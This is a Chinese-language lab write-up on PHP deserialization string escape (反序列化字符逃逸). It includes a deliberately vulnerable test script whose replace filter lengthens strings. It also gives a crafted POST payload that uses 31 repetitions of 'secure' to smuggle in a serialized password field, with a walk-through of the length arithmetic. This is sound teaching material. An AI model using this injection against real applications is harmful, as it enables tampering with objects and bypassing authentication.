0x01 漏洞原理
原理:在一個序列x:x{xxxxx} 花括号的後面添加字元後不會改變本來反序列後的結果,是以可以精心構造序列化的屬性,利用閉合關系改變本來題目的屬性(或者說使後面的某些屬性無效)
0x02 複現環境
PHP 5.4.45
Apache 2.4.39
0x03 測試代碼
<?php
highlight_file(__FILE__);
$flag='flag{xxx}';
function filter($str){
return str_replace('secure','secured',$str);
}
class Hacker{
public $username='margin';
public $password='margin123';
}
$h=new Hacker();
if (isset($_POST['username']) && isset($_POST['password'])){
$h->username=$_POST['username'];
$c = unserialize(filter(serialize($h)));
if ($c->password==='hacker'){
echo $flag;
}
}
0x04 Pyload
username=securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}&password=b
0x05 Pyload分析
分析PHP代碼可知,Hacker這個對象序列化後得到

首先根據漏洞原理構造payload
username=a";s:8:"password";s:6:"hacker";}&password=b
這個payload序列化後的結果為
可以看到這個字元串中username這個變量的值的字元串長度為32,而實際上我們如果想要這個字元串能夠成功被反序列化,那麼長度應該為1。是以這個序列化字元串是錯誤的,無法正常反序列化,所有這個payload錯誤。
分析PHP代碼發現有一個filter函數,這個函數會把字元串中的所有secure替換為secured,然後在進行反序列化操作。
我們想要把password的值變為hacker,我們需要使用
";s:8:"password";s:6:"hacker";}
這樣的字元串閉合,這個字元串共有31個字元。
那麼我們就要使用31個
secure
,這31個字元串被filter函數替換後,就會多出31個字元。
此時圖中選中位置的字元串長度就會與字元串實際長度相等,那麼這個序列化的字元串就不存在錯誤,就可以被正常反序列化了。
可以看到,成功修改了password的值。
0x06 參考
https://www.cnblogs.com/cjz12138/p/13667855.html